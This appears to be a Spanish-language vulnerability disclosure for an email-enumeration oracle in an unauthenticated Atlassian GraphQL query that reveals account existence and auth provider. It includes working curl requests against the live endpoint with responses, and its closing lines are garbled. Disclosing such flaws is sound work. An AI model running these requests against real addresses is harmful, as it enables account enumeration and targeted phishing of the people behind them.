
CVE-2026-XXXX: Oráculo de enumeración de correos electrónicos de Atlassian GraphQL (CWE-204, CVSS 5.3 MEDIUM)
Atlassian Central GraphQL Gateway (api.atlassian.com/graphql)
CWE-204: Discrepancia de Respuesta Observable — Oráculo de Enumeración de Correo Electrónico
MEDIA — CVSS 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
La consulta GraphQL loomUnauthenticated_primaryAuthTypeForEmail en la puerta de enlace GraphQL central de Atlassian devuelve respuestas diferentes dependiendo de si una dirección de correo electrónico está registrada en Atlassian, lo que permite la enumeración de usuarios sin autenticación.
Correo registrado → devuelve authType (p. ej., workos, password, google) y una URI de redirección
Correo no registrado → devuelve authType: "none" sin URI de redirección
No se requiere autenticación. El nombre de la consulta incluye "Unauthenticated" — es intencionalmente pública, pero no debería revelar si un correo electrónico arbitrario tiene una cuenta de Atlassian.
https://api.atlassian.com/graphqlcurl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType hasActiveMemberships redirectUri } }"}'
Respuesta:
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "workos",
"hasActiveMemberships": false,
"redirectUri": "https://www.loom.com/api/auth/workos?email=admin%40atlassian.com"
}
}
}
curl -s "https://api.atlassian.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query Test { loomUnauthenticated_primaryAuthTypeForEmail(email: \"[email protected]\") { authType } }"}'
Respuesta:
{
"data": {
"loomUnauthenticated_primaryAuthTypeForEmail": {
"authType": "none"
}
}
}
authType: "workos" confirma que el correo electrónico utiliza WorkOS SSO. authType: "google" o authType: "password" revelarían el método de autenticación. Esto permite phishing dirigido.
Un atacante no autenticado puede:
La consulta loomUnauthenticated_primaryAuthTypeForEmail no realiza limitación de velocidad (rate-limiting) y devuelve información del proveedor de autenticación para cualquier correo electrónico sin autenticación. Si bien el endpoint es intencionalmente no autenticado (para el flujo de registro de Loom), revela si un correo electrónico tiene una cuenta y qué proveedor de autenticación utiliza.
Después de pruebas exhaustivas, estas afirmaciones fueron invalidadas:
aaid: "unidentified")ValidationError)unidentified)Wh4l3X